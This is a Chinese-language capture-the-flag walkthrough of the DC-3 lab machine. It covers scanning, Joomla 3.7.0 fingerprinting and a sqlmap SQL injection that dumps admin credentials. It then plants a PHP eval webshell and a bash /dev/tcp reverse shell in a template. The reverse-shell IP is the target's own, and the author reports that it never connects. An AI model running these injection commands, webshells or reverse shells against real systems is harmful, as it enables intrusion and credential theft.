DC-3
环境都用nat链接ping通即可
一.信息搜集
a.探测目标主机的ip地址
先看一下本机的ip地址
ifconfig

拿到ip后扫描网段
nmap -sn 192.168.162.0/24

nmap常用参数
-sS:TCP SYN扫描(只检测端口状态)
-sV:版本检测(检测端口状态+服务版本)
-A:全面扫描(包含版本检测+OS检测+脚本扫描)
-p- 是扫描全部端口0~65535
b.探测主机开放端口
依旧使用nmap
nmap -sV -p- 192.168.162.131
扫到一个端口,那也没招,去看看吧

接下来我们访问这个web服务
http://192.168.162.131:80
c.网页信息
发现一个登录框,试了一下弱密码,没进去

然后就用whatweb进行一下web指纹识别,看看有没有存在历史漏洞
whatweb 192.168.162.131

几个信息
| 关键信息 | 详情 | 渗透意义 |
|---|---|---|
| CMS | Joomla! | 这是一个非常流行的 CMS,已知存在多个漏洞。 |
| 服务器 | Apache 2.4.18 (Ubuntu) | 标准配置,重点应放在 Joomla 本身上。 |
| MetaGenerator | Joomla! - Open Source Content Management | 明确确认 CMS 类型。 |
| Cookie | 包含 HttpOnly 标记 |
防御 XSS 的基本配置。 |
| 前端框架 | Bootstrap、jQuery | 无直接渗透价值。 |
其中joomla是PHP常见的一个cms框架,等会可以去查看一下版本号找找历史漏洞,而且kali也有相关工具,等会试一下,我们先继续完成初步的信息搜集
d.目录扫描
dirsearch -u 192.168.162.131 -e *

扫了一堆目录出来,不知道有用没用,先留着
二.外网打点
a.登录
那进行完初步的信息搜集,我们来尝试一下确认joomla的版本
joomscan -u http://192.168.162.131
版本号为3.7.0,还有一个后台管理页面(其实刚刚目录扫描也有扫到)
http://192.168.162.131/administrator/


那现在手头俩个登陆页面,一个网页一个后台管理,很明显我们要对后面那个搞得更多一点,不用说,弱密码先搞一手,但是没爆破出来,只能老老实实去看joomla的历史漏洞
msfconsole
查找一下joomla模块
search joomla

看到了一个sqli+rce感觉有点搞头其他的一个反序列化一个http头rce感觉都不如sql来的直接,毕竟我们这眼前就是输入框
先试一下第一个sql注入,依旧show options
use 6
show options

结果告诉我们要写入webshell就要一个管理员用户当前处于登录状态,但是好消息是sql是存在的,于是我们直接去sqlmap一把嗦了

让我们先来看一下详细的信息
info

根据这些我们去找了个sqlmap的注入命令
sqlmap -u "http://192.168.162.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
爆出来五个数据库

我们挑一个joomladb继续爆破
sqlmap -u "http://192.168.162.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

搞user了兄弟们
sqlmap -u "http://192.168.162.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

爆一下name,username,password
sqlmap -u "http://192.168.162.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,username,password --dump -p list[fullordering]

这里得到了用户名为admin,而密码为hash后的值,在网上没找到很明显的joomla的hash文件,因此我们准备暴力解码,使用john工具
将password hash值保存成文本文件hash.txt,接着输入 John hash.txt
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
密码出来了
snoopy

成功进入后台,然后这个也可以进前台,但是没什么用,前端有用的功能点基本上没有
然后翻了大半天,结果翻到个template,发现里面很离谱的居然有一堆php文件可以随便改,那还说啥了,文件上传+祖传一句话马启动
@eval($_POST['cmd']);

然后我们开始反弹shell进行监听
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.162.131/4444 0>&1' ");
?>
出来访问,开启监听
nc -lvvp 4444
然后浏览器访问该文件,但是不知道为什么我每次监听反弹shell的时候老是访问不上,莫名其妙的,还没找到解决方法,甚至我能连上然后我在模板里面的文件改动不行,真没招了

